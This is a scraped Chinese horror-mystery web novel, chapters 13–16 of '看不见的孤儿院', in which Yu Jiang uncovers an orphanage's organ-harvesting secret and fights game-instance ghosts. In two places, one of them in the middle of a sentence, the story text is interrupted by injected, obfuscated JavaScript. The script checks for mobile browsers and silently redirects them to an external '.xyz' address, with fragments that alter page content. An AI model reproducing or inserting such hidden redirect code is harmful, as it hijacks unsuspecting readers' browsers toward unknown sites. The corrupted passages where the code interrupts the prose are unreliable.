虞绛的目光迅速锁定桌上的日历。 5月18日,这个日期被重重地画上了两个圈! 她迅速翻开院长的工作日志,果然,在仇辛口中的“桑先生一家”那一页,访问日期正是5月18日! 一道灵光在脑海中闪过,她试探性地在保险箱上输入“0518”。 “滴——” 短暂的反应后,保险箱传来解锁的提示音。 “我可真是个小机灵!”虞绛美滋滋地自我肯定,迫不及待地打开柜门。 柜子里放着一本封面印有“花名册”字样的册子,然而她刚一拿起翻开,兜里的怀表便重重地“哒”了一声—— 孤儿院的第二夜,结束了。 花名册上的字迹迅速褪色,最终化作一片空白。虞绛不甘心地快速翻页,然而白花花的纸张拂过指尖,只有一张绘有小鬼的扑克牌,悄然从书页间滑落。 周围的空间骤然褪色,然而由于两个世界的融合加深,这一次转换不再突兀,反而更为平缓。 虞绛指尖夹着那张冰凉的小鬼牌,一转身,便发现自己回到了白天来过的桑柒房间。 房间寂静无声,桑柒大概率还在卧室内睡觉。虞绛轻手轻脚地走出去,路过茶几时,余光瞥见了茶几上的蓝色药瓶。 刚才的疑虑再度浮上心头,为什么这瓶标着“速效救心丸”的药,小桑柒吃了却没用? 虞绛索性拧开瓶盖,倒出一颗含进嘴里。 酸的? 可药瓶上明明写着“微苦”。 “要不,再尝一颗?” 一道清冷的声音从身后响起,虞绛难得慌乱了一秒,迅速把药放回原位。 一回头,便见桑柒不知何时已经从卧室里走出,正倚在门框上,静静地看着她。 “我没见过你,你是谁?”桑柒的目不转睛地盯着虞绛。 虞绛愣了半秒,才后知后觉地意识到,她在下午侧楼吞噬红眼鬼时,就已经恢复了本来面目。 换句话说,这是桑柒第一次看到脱下“陆骁”伪装的自己! 糟了,大意了!竟然忘了易容后再回头! 这下好了,怎么解释一个陌生人会出现在她的房间? 虞绛脑中警铃大作,心里瞬间掠过无数借口,可她很快意识到多说多错,索性闭上嘴,只是眼珠子不受控地心虚转动着。 桑柒向前走了几步,目光却隐约有些飘忽,清明的眼神仿佛在某个瞬间被抽离了一部分,竟透出几分迷茫。 她慢慢打量眼前这个女人,莫名觉得这身白T工装裤的打扮有些熟悉,而且这张脸…… 桑柒的目光微微一缩,视线陡然落在虞绛衣兜里,一截表链悄然从口袋边缘垂落。 那是她的怀表。 虞绛也注意到了桑柒的视线,脑海里警铃大作,暗叫不妙。 ……怎么被发现了?!这块表是从裴翎那儿偷来的,这下不会连带把邻居给坑了吧? 她强作镇定,侧身挡住桑柒的视线,可身体细微的僵硬还是泄露了紧张。 然而,现在再掩饰已经晚了。桑柒的目光定在那串表链上,忽然间瞳孔猛然收缩了一下。 “千万不要发现我的身份,千万不要举报我……”虞绛心中默默祈祷。 “我知道了!”桑柒恍然大悟,“原来我还在梦里。” 桑柒说着重重地点了点头,眼神有些涣散。 诶?虞绛愣住了。 “我做了好多次同样的梦……”桑柒喃喃道,脸上浮现出一丝遗憾,“可是以前,从来没梦见过你。” 她靠近一步,却又迟疑地顿住,自言自语般呢喃:“你走之后,我把它们都关在了我的梦里,只有午夜时分才会醒过来……” 桑柒把她错认成谁了?又把什么东西关进了梦里? 虞绛越听越迷糊了。 “可是,我头疼……疼得想死。”就在这时,桑柒忽然抱住头,迷茫又痛苦地低喃了一句。 突如其来的剧痛似乎让她抓住了什么绝妙的念头,她猛地抬起头,狭长的凤目透着一丝疯意,骤然向虞绛逼近。 虞绛本能地绷紧了神经,隐隐有种不妙的预感。 “要不……” 桑柒忽然轻声说道,眼睛亮亮的,带着某种疯狂的执拗。 “你吃掉我吧。” 虞绛:“?” “我不能让它们吃掉我,但如果是你……”桑柒的语气近乎恳求,“那我就放心了。” “大姐姐。” 她盯着虞绛,目光灼灼,如同一个终于下定决心的疯子,带着决绝,甚至……期待? 虞绛罕见地被人逼得节节后退,后背瞬间炸起一片鸡皮疙瘩。 这女人疯了吧?! 她说的每一个字虞绛都听得懂,可拼凑起来就是让人毛骨悚然! 难道桑柒的设定是一到晚上就不正常?昨晚突然狂暴地把出现在三楼的玩家狂揍一顿,今晚又突然在自己面前表演原地疯魔…… 准确地说,虞绛觉得此刻的桑柒“极度混乱”。她似乎分不清梦境与现实,更分不清眼前之人的身份。 甚至,随着桑柒精神状态的剧烈波动,整个房间像卡顿的录像带般闪烁着两个世界的重影。 她的思维越混乱,午夜孤儿院的院长办公室虚影便愈发凝实,仿佛即将覆盖现实世界。 不妙,如果桑柒真的彻底“疯”了,整个副本世界恐怕都会被永远困在孤儿院里。 她只擅长以暴力根除问题,但面对这种精神层面的冲击,却有些束手无策。 于是,在桑柒不断重复着“吃掉我”的呢喃,周围场景愈发诡异地闪烁交错之际,虞绛终于果断地退到了门口,眼疾手快地拧开门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547534|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把手,飞速逃离。 三楼走廊的景象同样不再稳定,时而是灰蒙蒙的孤儿院,时而又回归现实富丽堂皇的装潢。 她一路疾跑,直到冲下楼梯,不经意地回头一瞥——桑柒正无声无息地站在三楼楼梯口,诡异又狂热地凝视着她。 真是见鬼了! 虞绛闪身进入自己的房间,利落地反锁上门。 “你回来啦?”刘茵茵已经在房内,从沙发上抬起头看向她。 脱离桑柒的视线,世界终于恢复稳定,熟悉的房间内不再有诡异的场景震荡。虞绛长舒了一口气,终于有空闲坐下,仔细复盘刚才的经历。 “我刚才又见到了桑柒。”她托着腮,若有所思地说道,“但她的状态十分混乱。” “怎么回事?说来听听?”刘茵茵眼睛一亮,“我来帮你分析。” “你觉得,桑柒究竟是需要心脏移植的人类千金,还是被培育出来用于器官供体的克隆体?”虞绛缓缓发问。 刘茵茵眨了眨眼,诚实地回答:“不知道,你说呢?” 虞绛陷入思考:“按理说,她是这座度假山庄的主人,应该是先天心疾的人类千金,也就是001号实验的母体。她的父母在十多年前找到孤儿院院长,培育了第七代克隆体用于心脏移植……” “那她的心脏移植手术成功了吗?”刘茵茵举手发问。 “应该成功了。”虞绛点头,语气笃定,“证据就是她的药。” “虽然她看起来依然有心脏问题,但她的药对幼年版的小桑柒无效。我刚刚偷尝了一下,药的味道是酸的,而不是说明书上的微苦——这说明,她的心脏已经恢复健康了,只是刻意装病。” “可既然手术成功了,她为什么要伪装?”刘茵茵皱眉,“而且,为什么孤儿院里的小桑柒反而患有心脏病?按理说,小时候待在孤儿院的应该是克隆体才对!” “我猜伪装的原因……也许是她在得知孤儿院的罪恶后,感到愧疚,不愿接受自己间接害死了那么多克隆体,所以潜意识里假装自己从未接受过那场手术?” 虞绛缓缓推理,语速逐渐加快:“所以,心怀愧疚的桑柒,在梦境里身份反转,让自己站在孤儿院小孩的角度,经历黑夜中的种种危险……以此满足自己的赎罪心理。” 然而,话说到这里,她的声音渐渐低了下去。 不对,还是有问题。 院长的确是心脏移植的罪魁祸首,但桑柒梦里的大怪物和红眼鬼究竟映射了什么?她之前陷入混乱时,说的那些奇怪话语又如何解释? 比如,“把他们关在了自己的梦里”是什么意思?她把自己错认成的“大姐姐”又是什么人? 不对不对,得重新梳理一遍…… 虞绛沉浸在混乱的思绪中,偶然抬眸,视线落在前方的墙壁。在昏暗的光线下,透过墙上的镜子,她看见刘茵茵安静地坐在沙发上,静静地看着她。 ……镜子? 她一怔,指向墙面:“等等,这里什么时候多了一面镜子?” 明明桑柒已经要求把庄园里的所有镜子都搬入地下室,可这面镜子并非幻象,而是实体存在的物品。 “这个啊……”刘茵茵也转头看去,语气平静,“我回来时,房间抖动了几下,然后它就出现了。” 虞绛眯起眼睛:“你的意思是,你亲眼看到里世界的幻影入侵现实,甚至留下了一面本不该存在的镜子?然后,你没有鬼哭狼嚎,就这么淡定地接受了?” “对啊。”刘茵茵眨了眨眼,脸上满是无辜。 虞绛微微侧头,语气一变:“话说,从我进门开始,你就没叫过我老板吧?” 刘茵茵眼神微微一动,正欲起身,却发现自己的双脚已被一团蜡泥牢牢黏住,与地板紧紧融合。 她愣了片刻,随即低低笑了出来:“被你发现了啊。” “我的朋友在哪里?”虞绛的脸色黑得能滴出水。 “刘茵茵”的唇角缓缓扬起,脸上浮现出一个诡异的笑容。 “你猜?” 而在她背后的墙上,那面原本突兀的镜子中,胖院长的身影陡然浮现…… 静静地,森然地,凝视着她们。 14. 看不见的孤儿院(十三) “你非要死皮赖脸地顶着这张皮吗?” 虞绛冷冷盯着眼前的“刘茵茵”,对方的双脚虽被蜡泥牢牢禁锢,仍然挂着一抹志在必得的笑意,似乎一点都不慌。 眨眼间,胖院长臃肿的身影从镜子里闪现在虞绛面前,依旧是那副波澜不惊的表情。死寂的脸色如同被泡胀的尸体,森然锁定住她。 透过镜子,虞绛看见身后红光骤然亮起,一个无声无息的黑色剪影,正潜伏在虞绛背后。 很好,今天的鬼怪种类又增加了。 三个不同类型的副本怪物汇聚一室,显然是打算对她展开围剿。 虞绛反而淡定了许多,冷声重复:“我朋友,在哪里?” 假“刘茵茵”笑了笑,眼神带着一丝戏谑:“很快,你就可以去找她了。” 话音刚落,前后的鬼怪同时暴起! 胖院长的气息阴冷而压抑,步伐虽然迟缓,却精准地卡死了虞绛的退路。 而红眼鬼则迅猛如电,獠牙森然,猩红的双目闪烁着嗜血的光芒,直接朝她的心脏抓去! 生死一瞬! 虞绛骤然侧身,险之又险地避开利爪。然而胖院长早有准备,他的小眼睛阴冷地锁定她,在她闪避的刹那,庞大的身躯悄无声息地横移一步,将她彻底困在了死角。 空气瞬间凝滞。 背后是红眼鬼的利爪,眼前是胖院长的森然阴影。 她无路可退,所以也不再藏掖实力。一瞬间,血色在她的瞳孔中蔓延。 红眼鬼的动作猛地一滞,眼中第一次闪过惊异。 但,已经晚了。 下一秒,它锋利的爪子刺入虞绛的胸口,预想中的血肉破裂却没有出现。 它的手,陷入了一团温热而粘稠的泥泞。那不是血肉,而是一片深沉的蜡海。 红眼鬼瞳孔剧烈收缩,可它连反应的时间都没有。 滚烫的蜡流疯涨,沿着它的手臂急速攀爬,瞬间将它的整个身体吞噬!在它震惊的目光中,自己就这样硬生生被蜡油凝固,化为一尊死寂的蜡像。 所有变故发生在电光火石之间,等胖院长察觉不对时,眼前的“猎物”已然咬碎蜡块,轻描淡写地将那只红眼鬼吞入腹中。 她血瞳微亮,锋利獠牙仍带着残留的蜡屑,宛如它们的同类般森然而诡异。 假“刘茵茵”终于变了脸色,声音带着一丝尖锐:“怎么可能?!你不是人类!” 胖院长虽身形迟缓,却极其冷静,早在虞绛变化时便迅速挪到假“刘茵茵”身旁,默不作声地剥除她脚下的蜡块。等虞绛回头时,两人已经溜到了镜子边缘。 她微微眯眼,危险地盯着他们。 她的身份,不能被系统发现。 然而,对面的假“刘茵茵”却目光灼灼,死死盯着她的每一个变化。 红眼獠牙和红眼鬼的能力如出一辙,流动的蜡躯也不可能是人类的天赋…… 更重要的是,被剥夺的能力暗示了红眼鬼真正死亡的事实,这与普通副本角色的死亡截然不同。 如果NPC被玩家杀死,只是履行了副本众多支线结局中的一环。副本重启后,死去的NPC依旧会被重置,如同一场未曾发生过的梦。 然而,真正的死亡,是指NPC在心跳之城的世界里彻底消亡—— 即便副本再次开启,即便换了一批玩家,他们也不会被重置,更不会重新出现。 突然,像是被一道雷霆劈中,假“刘茵茵”猛地从沉浸式的副本演绎中清醒了一瞬。 一定是这样……只剩下一种可能了! 她的目光陡然锁定虞绛,眼底透出几分笃定:“你也是NPC?!” 她顿了顿,随即又更正了自己的猜测:“不对……是外来的NPC!只有副本外的存在,才能真正杀死副本内的NPC!” 虞绛:“……” “我不是,我没有,别瞎说!”她硬着头皮狡辩,装出一副镇定自若的样子。 假“刘茵茵”却大笑出声,满脸兴奋:“哈哈哈,你果然怕我们举报!” 她顿了顿,忽然意味深长地眯起眼,提议道:“这样吧,我们来玩个游戏。你要是赢了,不仅可以无痛通关,我们也承诺绝不举报你。” 虞绛警惕:“什么游戏?” 假“刘茵茵”勾唇:“捉迷藏。” “现在是副本第三天,我们进行为期一天的阵营对决,规则很简单。” “我们副本鬼怪一方,你和玩家们一方。鬼怪阵营将会猎杀所有人类,包括孤儿院的孩子、山庄的仆人和玩家,而你们可以猎杀我们鬼怪。” 假“刘茵茵”顿了顿,语气玩味:“只要你能杀掉鬼怪阵营为首的大怪物,我们就停止猎杀人类,并且绝不举报你。” 她笑眯眯地补充道:“相反,只要大怪物不死,我们就会一直杀下去,直到游戏彻底结束。” “如何?” 虞绛没有立刻回答,而是沉默地打量着对面的团队。 在这个副本的鬼怪阵营中,大怪物是先锋,它会把熟睡的孩子们从梦中惊醒,强迫他们参与捉迷藏。 胖院长则能穿梭在所有镜子之间,是无所不在的窥视者,能迅速监控其他人的踪迹。 红眼鬼不止一只,他负责根据胖院长的指引,潜行、猎杀和剖心……虞绛已经猎杀了三只,不知红眼鬼还剩多少。 而眼前的假刘茵茵…… 虞绛的思绪顿了顿。这只假面鬼除了能变换面容,却并未展露自己在鬼怪阵营中的真正职能。 她到底是谁?她的作用又是什么? 虞绛正思索着,假面鬼忽然微微一笑,单方面宣布:“不说话就当你默认了。” 她的声音骤然低沉,似诅咒般缓缓落下: “游戏开始!” 话音未落,她便与胖院长一同融入镜中世界,只留下一抹意味深长的目光。 虞绛掏出怀表看了一眼,已经凌晨两点。 按理来说,孤儿院的时间早已过去,可刚才那些鬼怪明晃晃地昭示着两个世界的融合。 看来她没有更好的选择了。虽然保住性命不难,但若无法在最后一天清除桑柒的梦魇,还原副本的真相,那她不仅要与梦寐以求的两万心跳值失之交臂,甚至还可能遭遇副本NPC的举报! 与此同时,沉重的脚步声在黑夜中缓缓响起,大怪物已经行动起来。对面阵营的鬼怪们,恐怕要把孩子们驱赶出来了。 虞绛当机立断,转身冲进走廊,将对面的房间门拉开一条缝。 凭借从红眼鬼继承的黑暗视物能力,她清晰地看见了成排熟睡的孩子,躺在原本仇辛的卧室里。 她依样画葫芦,仔细检查了整个二楼,发现除自己房间外,剩余四间房皆已被孤儿院的世界侵占。床上躺着的,全都是那些沉眠的孩子们。 于是,她偷偷清扫掉二楼的所有镜子与反光物品,随后回到空荡荡的走廊上。虞绛沉吟片刻,脑海中渐渐浮现一个绝妙的计划。 做好准备工作后,虞绛背着从儿童寝室衣柜中抠出的全身镜,双手怀抱着大大小小的镜子,直奔负一楼堆放镜子的储藏室。 那里,正是她与刘茵茵分别的地方。 她冲进熟悉的镜子屋,心头却倏然泛起异样的感觉。 按照女佣小青的说法,桑柒也做过同样的事,把整栋别墅的镜子全数搬至地下室。 那股不对劲的感觉再次浮上心头,像有什么被她忽略了……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547535|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 镜子屋的布局与先前毫无二致。不久前,一个小男孩便是在这间屋子里,被鬼怪生生剖去心脏。 可现在,血迹不见了,尸体也不见了,地板干干净净,仿佛从未发生过那场惨剧。 刘茵茵也不见了。 “它们不会把刘茵茵给……”虞绛心下一沉,最糟糕的念头一闪而过。 可她随即甩开这个想法,如果刘茵茵死了,系统应该早就通报了玩家死亡消息。 她压下心头的不安,将怀中大小不一的镜子尽数卸下,随意堆放在房间角落,随后立刻转身,快步走向隔壁房间。仔细一想,不论白天还是夜晚,她从未踏足过那里。 房门被缓缓推开,映入眼帘的却是一个杂乱无章的储物间。木梯、电钻、破损的家具随意堆放着,最显眼的,是角落里一个歪斜敞开的老旧衣柜。 她皱眉扫了一圈,好不容易在杂物的缝隙间踉踉跄跄地挪动,然而能藏人的地方屈指可数,唯一可疑的便是那个衣柜。可当她拉开柜门,只有空荡荡的内部和一股腐朽的气息扑面而来。 然而,柜门上的杂乱字迹却猛地吸引住了她的视线,像是孩子用力刻画上去的。 “门禁时间都过了,怎么还没有人来找我啊……是大家都不喜欢捉迷藏吗?” “也许是大家不喜欢抽到鬼?那下次我来当鬼,我来找大家就好啦!” “我今天发现了一个秘密。隔壁上锁的房间,是院长的监控室。他今天一个人进去的时候,我偷偷透过门缝看到,他站在一个超级大的屏幕前,屏幕里满是监控画面……厕所、衣柜、卧室,好多好多……” “我告诉了大家,可是他们不信我,呜呜……结果害我被罚禁闭!” “禁闭要关24小时,可我好困好冷,想偷偷溜回寝室睡觉……可外面的走廊里,好像有脚步声,像是很多人走进了对面的房间。” “这么晚了,他们要做什么?” “我想去看一眼。” 字迹在这里戛然而止,仿佛写下这段话的孩子真的鼓起勇气,走出了衣柜。 虞绛站在原地,指尖轻轻摩挲着柜门上的刻痕。她当然知道,这个不知名的孩子会看见什么。 对面紧闭的大门背后,或许是浸泡着实验胚胎的培育箱,或许是手术台上血肉模糊的克隆儿童。 虞绛不禁顺着这个孩子轨迹继续推断,如果窥见了孤儿院的秘密,他会怎么样? 偷偷回到寝室,告诉其他小伙伴? 可按衣柜上的内容来看,那个孩子曾鼓起勇气,将院长暗中监控全员的秘密告诉了其他人,却没有赢得任何同伴的信任。 这一次,如果他真的看到了更可怕的东西,会有人相信他吗? 亦或是,他已经被院长发现,被那双冰冷的手掌控住喉咙,连哭喊声都无法发出? 虞绛心头微微发紧,曾经躲在这里的孩子,到底是谁? “啊啊啊啊——!救命啊!” 突如其来的尖叫刺破夜色! 是小青的声音! 虞绛猛地回神,立刻拔腿冲向一楼。 远远的,她便看见一个庞然大物从楼梯上轰然坠下,发出沉闷的震响! 微弱的灯光下,惊恐颤抖的小青被逼入角落,茫然地睁大眼睛,浑身因为恐惧而僵硬不敢动弹。 她不知道自己为何会从睡梦中惊醒,醒来后,世界却已天翻地覆。 她不知道这阴森可怖的怪物是谁,不知道自己为何会被逼入死角,更不知道自己即将面对的是什么。 但虞绛知道。 她盯着怪物庞大的身影。果然如系统所言,这一次,它的形体终于彻底凝实了。 这意味着……它终于可以被猎杀了! 15. 看不见的孤儿院(十四) 大怪物的身体仍是黑黢黢的,但四肢和肌肉的轮廓已经很清晰,不再是模糊的虚影。 此刻,这个魁梧的怪物牢牢锁定了缩在墙角瑟瑟发抖的小青,嘴里发出兴奋的笑声,摩拳擦掌,步步逼近。 “不是一号房的孩子,也不是二号房的孩子……没关系,参加我的游戏,就是好孩子。” “找——到——你——啦——!” 大怪物的声音骤然拔高,如同蓄势待发的野兽,猛地扑向小青。 然而,它才刚跃入半空,就被一股猛烈的力道狠狠踹中脑袋!庞然大物顿时失去平衡,巨大的身躯无法抗衡那股强劲的冲击力。 “啪!” 它整个被直接踹上楼梯,木制楼梯发出濒临断裂的悲鸣,一截扶手应声坠地。 虞绛扶起小青,语气平静:“小青,没事吧?” 小青愣愣地望着眼前的女人,能如此轻松撼动那个恐怖的怪物,这究竟是何方神圣? “你是谁?你怎么会认识我?”小青迷茫地问道。 虞绛一愣,立刻意识到,又是因为没有易容的缘故,如今暴露在外的还是她原本的样貌。 小青环顾四周,目光落在前方教堂舞台上的红色十字架,猛地睁大眼睛:“难道我梦到了孤儿院?而你……你是那个时候的大姐姐!” 大姐姐? 虞绛心头微微一震,这已经是第二次有人这么称呼她了,桑柒当初也说过相同的话。 不过,比起这个,她更关心另一件事。 “你也是这家孤儿院长大的孩子?”她盯着小青的脸,低声问道。毕竟,在地下实验室的细胞培养箱里,她曾见过某个实验序列第四代克隆体的标签,名字正是小青。 小青轻轻点头:“嗯,我回来山庄帮佣,也是因为想看看自己小时候长大的地方……虽然在那场变故之后,已经物是人非了。” 看来现实中的小青逃过一劫,没有被剖心而死。 这是个关键NPC! 虞绛的余光警惕地扫向不远处的大怪物,趁其不备赶紧拉起小青,向别墅大门外撤离。 她隐隐觉得,在弄清楚整个副本的真相之前,最好不要贸然听从那只假面鬼的话,乖乖投入所谓的对军击杀阵营游戏。 所幸,大怪物刚被踢飞出去,似乎还没缓过神来,只是像个被激怒的巨婴般捶地咆哮,几拳砸下去,直接把楼梯劈成两半,自己也随之从断裂的楼梯口摔落至一楼。 “啊呜——!!!” 别墅中传来愤怒的二段吼叫,外头是冷清的圆月和寂静的山庄,侧楼在黑暗中宛如潜伏的黑色巨兽。 虞绛没有选择进入室内,而是带着小青朝尚未探索的后花园走去。 “你刚才说的‘变故’,能仔细讲讲吗?” 小青歪了歪头,疑惑地看向虞绛:“可是,大姐姐,你不应该最清楚当时的情况吗?” “我……”虞绛心中一紧,迅速敷衍道:“我后来出了点事,什么都不记得了。你能帮大姐姐回忆一下吗?” 小青半信半疑地点点头,陷入回忆:“最早察觉到异常的,是我同屋的小七。那天午夜,她突然气喘吁吁地闯进寝室,着急忙慌地叫醒所有人,说整栋楼的镜子都被人动了手脚,背后藏着针孔摄像头。我们的一举一动,都被监视了……” “可是你们没有相信她,对吗?”虞绛缓缓开口,脑海里浮现出地下室旧衣柜里那些歪歪扭扭的字迹,“甚至还害她关了禁闭。” 小青微微一怔,但还是点点头:“没错。那晚我们拆了几面镜子,果然都找到了摄像头,所有人都吓坏了。” “可院长听到动静后,很快带着几个老师下来,声称安装监控只是为了‘保护大家的安全’,要我们别大惊小怪……那些孩子害怕院长,便供出了告密的小七。院长很生气,以违反门禁、无故晚归为由抓走了她,关进了地下室的杂物间。” 小青的叙述跟旧衣柜里的内容能完整对上,恐怕那个待在旧衣柜里的孩子,就是小青口中的小七。 “不过,小七当天的晚归,也是有原因的。”小青迟疑了一瞬,继续说道。 *** 与此同时,别墅内的其他鬼怪,终于开始行动。 胖院长依靠能力,可穿梭无数面镜子,捕猎落单的孩子。但此刻,他站在地下室镜子屋的中央,铁青着脸环顾四周。整栋楼大大小小的镜子都胡乱堆叠在这个房间里,无论如何挪动,他都踏不出这间房。 黑暗中,另一只红眼鬼缓缓靠近。 “既然镜子没用了……”一旁的假面鬼声音阴冷,“那我们就直接上去,抓人。” 另一边,跌落一楼的大怪物不甘地拍了拍身上的尘土,气恼地仰头望向楼上。 尽管它的重击将楼梯砸断了一半,但它依旧不死心地伸出黑乎乎的粗壮手臂,牢牢攀住断裂的扶手,猛地一跃,硬生生将自己拽回了二楼的楼梯平台。。 “红袜子,白帽子,今天的幸运儿是什么样子……” 它幽幽地哼着低沉的童谣,侧耳倾听着走廊里的动静,阴冷的目光缓缓落在了右侧的1号房。 它伸手按在门把手上,正要拧动,却发现锁眼被什么东西死死堵住,门扇纹丝不动。 “吱呀——” 不远处,5号房的门却悄然打开,仿佛在无声地诱引着它。 *** “晚归的原因……”虞绛回忆着自己见过的那些零碎刻画,一字一句地推测道,“不会是玩捉迷藏,被其他人作弄了吧?” 小青点点头,有些困惑地看着虞绛:“看来,大姐姐你还记得。” “孤儿院的孩子们身体都不太好,只有小七是个例外。别的孩子还在教室里围成圈玩丢手绢的时候,她已经一个人跑到花园里翻墙爬树了。” “或许是嫉妒,也或许是单纯地觉得烦,其他孩子其实并不喜欢和她玩。每当她缠着别人玩游戏,大家便会敷衍地哄骗她,说要一起玩捉迷藏,让她去找个地方藏起来。” “可只要她躲好了,所有人就会一哄而散。等她察觉到不对劲,已经过去了好几个小时……” “那天晚上,她就是这样,被迫在藏身处睡了过去,直到深夜才醒来。” 虞绛的指尖微微收紧,心中模糊的线索,终于在此刻隐隐拼接出了一条完整的脉络。 她垂下眼帘,低声道:“除了镜子后藏着的摄像头……她是不是还发现了别的秘密?” 小青费力地回想:“好像是有的。她被关在地下室杂物间整整一夜,第二天回来时满脸疲惫,告诉所有人一个恐怖的消息。” 她顿了顿,压低嗓音道: “她说,她亲眼看到院长带走生病的孩子,押入地下室的房间……活生生剖开他们的身体,取走器官。而尸体,就随手丢进了后花园。” “她还说,这根本不是孤儿院,而是一个打着仁心幌子的杀人魔窟!” 小青不自觉地低头,看向脚下松软的泥土,仿佛每一寸土地之下,都埋藏着孩童的尸骨。 虞绛不动声色地挪到了假山边上,这里正是顾弥彦提过发现尸骨的地方。果然,当她用脚尖刨开面上的一层薄土,她的脚触碰到了一块硬物…… 她蹲下身,将那块土层拨开—— 那是一块头骨。 虞绛的喉咙微微发紧,正要继续深挖,然而一种难言的不安涌上心头。她像是捕捉到某种危险的信号,猛然抬头望向别墅二楼。 *** 胖院长、假面鬼和红眼鬼,迅速在二楼进行地毯式搜索。然而,当他们抵达长廊时,却只见5号房的大门敞开,大怪物已经不见了踪影。 他们交换了一下目光,很快盯上了其他房间里,正在熟睡的孩子们。 然而,二号房的门锁仍然被死死堵住,打不开。 红眼鬼有些暴躁,手上猛然加大力度,咔嚓一声,硬生生拧断门把手,随即猛踹一脚—— 砰! 门应声而开,锁芯里洒落一地蜡制碎屑。房内的孩子们被惊醒,一个个睡眼惺忪,条件反射般地坐起身,呆愣愣地望着他们,似乎以为大怪物又要挑人玩捉迷藏了。 可这一次,红眼鬼不给他们任何反应的机会,张开血盆大口猛冲向最近的床位,瞄准小孩的脖子一口咬下。 然而,口感不对?! 红眼鬼微微一怔,随即猛地吐出一嘴白色的蜡泥! “该死!是陷阱!我们被耍了!”假面鬼愤怒地啐了一口。 被红眼鬼咬断的脖子仅剩一丝蜡泥连着身体,那蜡像般的小孩缓缓地转过头来,空洞的眼神死死锁定了红眼鬼。 房间里的其他五个孩 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“嘶——” 床底下,六双惊恐的眼睛死死盯着这场屠戮,空气仿佛凝固在惨烈的瞬间。然而,过于紧张和恐惧,让其中一个孩子没能忍住,倒吸了一口凉气。 “谁在那儿!” 假面鬼猛地扭头,目光如刀锋般扫过几张小床,嘴角露出一抹冷笑。 “床底下!小孩都在床底下!” 三只鬼瞬间暴起,迅猛地扑向六张小床。 就在此刻,地上散落的蜡像残块突然异变!断裂的肢体化作流动的蜡液,像藤蔓般疯长而起,顷刻间缠绕住三只鬼的双腿,死死困住他们,不让他们前进一步! *** “你的脸色好像不太好?”小青望着虞绛,语气里透着几分担忧。 虞绛的皮肤本就苍白,此刻更是惨白得近乎透明,甚至露出了些许干瘪凹陷的纹路。 但她没有回应,也没有移开目光,而是死死地盯着别墅二楼的方向,全副精力都集中在操控蜡液上。 这些临时制造的蜡像,远不如自己副本里的五个员工那样能独立行动。它们只能依靠她的操控,才能精确执行指令。 所以,她必须全神贯注,才能将这三只鬼怪牢牢禁锢在原地。 这场阵营对决中,她还没能弄清真相、击杀大怪物,这三只鬼也不能碰这些小孩子一根手指头。 然而,随着对峙的白热化,虞绛渐渐感觉自己力不从心了。先前分泌了太多蜡液制作孩子们的替身,现在又一人应对三只鬼怪的缠斗,她的意识开始涣散,真是快要被榨干了! 就在此刻,一声轰然巨响,震颤了整座别墅。 “轰隆——!” 虞绛的视线猛地一凝,只见别墅的天台上,大怪物的身影再次显现,像一头被激怒的猛兽,狂暴地扑向某个猎物。然而,它的攻击仿佛落入了某人的陷阱,被对方戏耍一般,在天台上绕了数圈。 它愈发暴躁,最终怒不可遏地猛扑向天台边缘。 下一秒,它猛然失衡,被人一脚狠狠地踹了下去! 那庞然大物,如陨石般从三层楼的天台重重坠落,狠狠砸向地面,尘土四溅。 虞绛的目光顺着天台望去,只见一个高大的身影站在那里,右手边的衣袖露出一抹银光。 他俯视着下方的狼藉,微微侧首,与她似有似无地对视了一瞬。 与此同时,房间里还在与蜡液僵持的三只鬼,也听到了大怪物坠地的动静。三鬼对视了一眼,眼神隐隐流露出一丝变化。 先锋遭袭,形势反转,眼前的这些“食物”顿时变得没那么重要了。 真正的好戏,要开场了。 他们迅速退出房间,穿过走廊,退向二楼外的楼梯口。 然而,当他们来到楼梯口时,却猛然顿住。 只见一个高大的男人不知何时已从楼上走下,静静地立于楼梯中央,如一座沉稳巍峨的屏障,挡住了他们的退路。 他目光冷峻,直视着三鬼。 假面鬼眯起眼睛,声音阴冷:“你是谁?” 那男人似乎有些不习惯这种场合,下意识地摸了摸脸,轻咳了一声,缓缓道: “玩家,仇辛。” 16. 看不见的孤儿院(十五) 大怪物从高空坠落,砸入户外的草坪,激起大片泥土与碎草。此刻,它距离虞绛不过数米之遥。 它低沉咆哮,声音里满是被猎物戏弄后的愤怒。然而,从动作上来看,它并未因坠落而受损,反而依旧凶猛如初。 这东西……还真是抗揍。 那么,就只能依靠顾弥彦第一天得到的线索——副本Boss怕火。 与此同时,另一边的三个鬼怪悄然退场,虞绛远程操控的压力顿时消散。她身形一晃,伸手扶住假山,终于得以喘口气。 “你继续。”她侧过头看向小青,“后来那个小七怎么样了?” 小青沉浸在回忆中,喃喃开口:“小七本就不受欢迎,而且上一次她关于监控的控诉,已经被院长轻飘飘地化解了。” “所以这一次,大家都觉得她又在危言耸听……他们宁愿相信院长只是‘在帮生病的孩子们治病’,而不愿相信是她口中的剖心恶魔。” “直到有一天,孤儿院迎来了新的开放日。” “每逢开放日,都会有戴着白色礼帽的访客前来‘探望’孩子们。这一次,他们挑中了小七,说是要领养她……对,我们一开始都以为,那真的是领养。” 小青的语调带着一丝不自觉的苦涩:“其他小孩都很嫉妒她。毕竟,这是第一次,有孩子在所有人面前被访客公开选中。之前那些被‘领养’的孩子,都是悄无声息地离开的。” 